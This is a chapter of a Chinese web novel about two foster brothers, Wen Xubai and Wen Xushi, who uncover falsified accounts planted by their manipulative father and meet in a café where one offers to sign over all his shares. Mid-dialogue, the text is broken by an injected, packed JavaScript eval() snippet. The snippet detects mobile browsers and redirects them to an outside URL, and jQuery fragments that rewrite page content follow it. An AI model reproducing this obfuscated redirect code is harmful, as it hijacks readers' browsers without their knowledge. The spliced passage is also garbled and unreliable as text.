于是“不用早起”的代价就是,闻叙白一上午都没起的来床。
当吵闹的闹铃声不知第几次响起时,闻叙白终于被强行从熟睡中唤醒,烦躁地直接一脚把扒在他身上,睡的跟猪一样的齐最给踹下床去!
“叮铃铃——叮铃铃——叮—”
闹钟被一双大手猛地按掉,扶着摔痛肩膀的齐最一边龇牙咧嘴,一边小心翼翼地再次爬上了床。
闻叙白烦躁地将被子一拉,直接翻了个身继续睡。
而齐最则笑着隔着被子,向啄木鸟一样啄了两下他的头,轻声道:“我走啦——”
闻叙白不回应,齐最嘴角笑意更深。
然后又是深深一啄,这才离开。
虽然周末不用做题了,但他还是得去面馆帮忙的。
而闻叙白这一觉直接睡到了下午,等到他扶着酸痛的腰醒来时,天已经将将暗了。
闻叙白打着哈欠热了齐最中午给他留的饭,不过不知道是不是因为疲惫作祟,他没有什么胃口,只简单吃了几口就放下了筷子。
走到窗前伸了个懒腰,闻叙白坐到沙发上打开电脑,公司的事已经处理的差不多了,上次的跳楼事件被认定为自杀,他下令核查公司近十年的账目,如今也已经查的差不多了。
闻叙白手指轻点鼠标,一目十行的看下来。
不出意料,就是闻庭屹搞的鬼。
账目从一开始从主公司汇款开始就有问题。
这家公司原本由闻氏集团与宋氏集团共同合作创办,后来给了闻叙远。一开始,闻庭屹定是想通过制造陷阱的方式,来削减闻叙远手上的资本。
这些假账就如同一颗定时炸弹,平时不会有什么问题,也不会被人发现,但是一但闻叙远起了异心,闻庭屹这个老狐狸就可以以这些账目相挟,逼迫其就范。
闻叙白冷笑一声。
闻庭屹这个老狐狸,连自己亲儿子都肯拉下水。
不过现在闻庭屹将公司给了他,就说明,他有了新的制服闻叙远的方式。
想起上回在慈善晚宴上见到的那对宋家母子,闻叙白眸光一凛。
亲情。
闻叙远这人,若是当真像他表面那般冷淡无情倒也好了,可偏偏这么多年的相处下来,闻叙白早就发现,闻叙远到底还是个面冷心热的人,不然也不会因为宋语心的死,而责怪了闻庭屹这么多年。
如若没有真情,又怎会恨意如此之深呢?
他故意让多年不见的几人见面,就是为了提醒闻叙远,他也有把柄。
而如今看来,这招确实是有点效果的。
闻叙白撑着额头,并不觉得意外。
想不到啊,闻叙远那般看起来冷漠无情的,竟然还有这么柔情的一面······
可现在最重要的,不是纠结什么亲不亲情的问题,而是想想怎么解决这个“假账”的问题。
正沉思之际,闻叙白忽然注意到,那条从总公司的汇款,是分为两项的。
闻叙白:“?”
一条一条明细看下去,越看,闻叙白的眉头就皱的越紧。
这笔款项每年都会分别汇给了两个子公司,却每年的金额都不太一样,有时候这个多,那个少,有时候这个少,那个多······就像今年,是他们子公司的少,另一个子公司的多。
总金额是一样的,倘若能多从总款中划出一笔钱,就有可能把公司的账平上。
闻叙白对应了一下公司近几年的业务表,涨幅与汇款金额是成正比的。
依业务量而分。
闻叙白眉头皱的更紧,将鼠标划到最后,去看另一个分公司负责人的名字。
这么一看,心瞬间沉入了谷底。
闻叙适······
恰好此时手机响起,闻叙白将手机拿起一看,是闻叙适的消息。
是一段很卑微的话。
“小白,你什么时候有时间,我们谈谈好吗?”
闻叙白眼眸深深,看了那条消息片刻,手指轻点,简短发去两个字:“地址。”
两人相约在一个咖啡厅里。
这个咖啡厅是两人刚上大学时经常会来的,开在大学城附近,两人经常会在这里一起看书办公,后来闻叙适毕业,闻叙白被送出国,想起来,已经很久没有回来过了。
踏入熟悉的木制地板,简洁慵懒的咖啡馆内,闻着熟悉的咖啡香味,闻叙白默默向屋内看去。
这个咖啡厅不大,客流也不多,棕咖相间的陈饰,只一眼,他就看见了坐在床边的那个白衣身影。
闻叙适早就到了。
低头一看表,离他们约定的时间还有十五分钟。
比约定的时间提前半个小时,一直都是闻叙适的习惯。
闻叙白以前曾问过他,“有必要这么早吗?”
而对方只是轻笑一声,漫不经心道:“小白,很多事情,早做准备,等突发事件来临时,才不会那么惊慌。”
闻叙适已经看到了他,微笑着朝他挥了挥手。
闻叙白淡淡走过去,在他的对面坐下。
“你也发现问题了。”
闻叙适没想到他会这么开门见山,嘴角的笑意僵了一下,却很快恢复如初。
闻叙适将他面前的咖啡推了推,脸上还是一如既往的温柔笑意,“嗯。卡布奇诺,不加糖不加奶,是你喜欢的那款。”
闻叙白摘下口罩,端起杯子,淡淡品尝了一口,确实还是熟悉的味道。
“你还记得啊······”他轻搅了搅杯中的咖啡,看着水面上的圈圈涟漪,心情忽有些复杂。
大学的那两年,远离了闻家,是他与闻叙适前二十几年人生中,为数不多可以喘息的快乐时光。
“你这段时间去哪了?好像很少在家里看到你。”闻叙适也浅抿了一口面前的美式,状似不经意间问起。
闻叙白挑了挑眉,淡淡避开重要问题道:“回去干嘛?你也知道,那不是我的家。”
闻言,闻叙适轻笑一声,眸光潋滟不变。
“我只是担心你,怕你被什么有心之人拐跑了······”
话音未落,就被闻叙白打断:“再有心之人,又有谁比得过闻家人呢?”
此话一出,闻叙适嘴角的笑意终于凝固了,望向他的眼神也泛起几缕不明意味的痛心。
他看着闻叙白,声音都有些颤抖,“小白,你把我,也跟他们归结为一类人了吗?”
“没有。”闻叙白坦然摇了摇头,垂下眼睛,再度抿了一口咖啡。
闻叙适似乎有些着急,身子都不由自主往前倾了许多。“小白,你要相信我,我绝对不是你想的那种人!我······”
“我知道。”闻叙白淡淡道,扯出一个苦笑,“毕竟在闻家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289288|178739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我也只能相信你了······”
咖啡馆中有视线被这边的动静吸引过来,闻叙适一愣,赶紧又若无其事的缩了回去,手指不安的交缠,也露出一个苦笑道:“小白,我们只有彼此。”
是啊,两个与闻家格格不入的怪胎,在无尽的虐|待与利用之中,只能相互取暖。
“闻庭屹想让我们斗。”闻叙白眼神冰凉刺骨。
闻叙适点了点头,眼神也沉了下来。
他们是闻庭屹的两把“刀”,而如今,或许是不想在费心培养,又或许是他把刀刃太锋利,有朝一日会划伤主人,如今,他只想留下一把。
而最能不见血的方式,就是让这两把“刀”,自己争锋相对。
一个尚且有点血缘的私生子,和一个毫无关系的养子,闻庭屹会选哪个呢?结果显而易见。
从一开始,闻叙白就能感觉到,闻庭屹是更看重闻叙适的,所以将他留在身边,而将闻叙白扔到国外。
可如今,这个倾斜的天平,好像发生了变化······
是因为什么呢?
闻叙白的眉头皱起。
眼前的闻叙适眸光闪烁,一向扬起的嘴角在此刻缓缓塌下,一直挂着的笑容,仿佛就要支撑不住了。
闻叙适痛苦道:“小白,我不会与你斗,如果······你真的想要,就全部拿去吧······”
说着,他将一个文件推到闻叙白面前,贴心的转过面。
闻叙白定睛一看,瞳孔骤然收缩,下意识吼道:“你疯了?!”
那是一份股份转让协议,闻叙适要把他手上的所有股份与财产,全部转给闻叙白。
而这种孤注一掷的行为,在唯利是图的闻家,则无异于自割颈脉。
闻家不会养无用的人。
刚刚离开的视线被再度吸引过来,可闻叙白却是已经顾不得那么多了,猛地将文件扔回去,怒然道:“想都不要想!”
闻叙适却是接住甩在他脸上的文件,没有生气,抬了抬鼻梁上框架,苦笑道:“你别生气······”
闻叙白还想说些什么,却突然注意到他眼镜框角上的裂痕,“你眼镜怎么了?”
闻言,闻叙适愣了一下,似是没听懂他在说什么,知道亲手摸到眼镜上的裂痕,他才慌张道:“哦,这个······是前几天不小心摔的······”
摔的?
闻叙白眉头皱了皱。
不知为何,他总觉得闻叙适今天的眼神有点奇怪,似乎在刻意回避他的目光。
沉思片刻,一个可能的原因浮上他的心头。
“是秦雅琳打的?”
闻叙适顿了片刻,随即变的有些落寞。
算是默认了。
可闻叙白却还是觉得有点不对劲,却又想不通是哪里不对劲······
不等他再问,闻叙适却是率先开了口。
他一边搅着咖啡,状似无意提起:“你上次说······想离开闻家,是已经有什么计划了吗?”
闻叙白心下一怔,握在咖啡杯上的手指微动,垂下眸,他浅抿一口浓厚的咖啡,掩盖下眼底的心虚。
“没有。”他不动声色道,“这个······以后再说吧。”
他现在没有理由离开闻家。
闻叙适神情一愣,半晌才笑道:“好,以后再说。”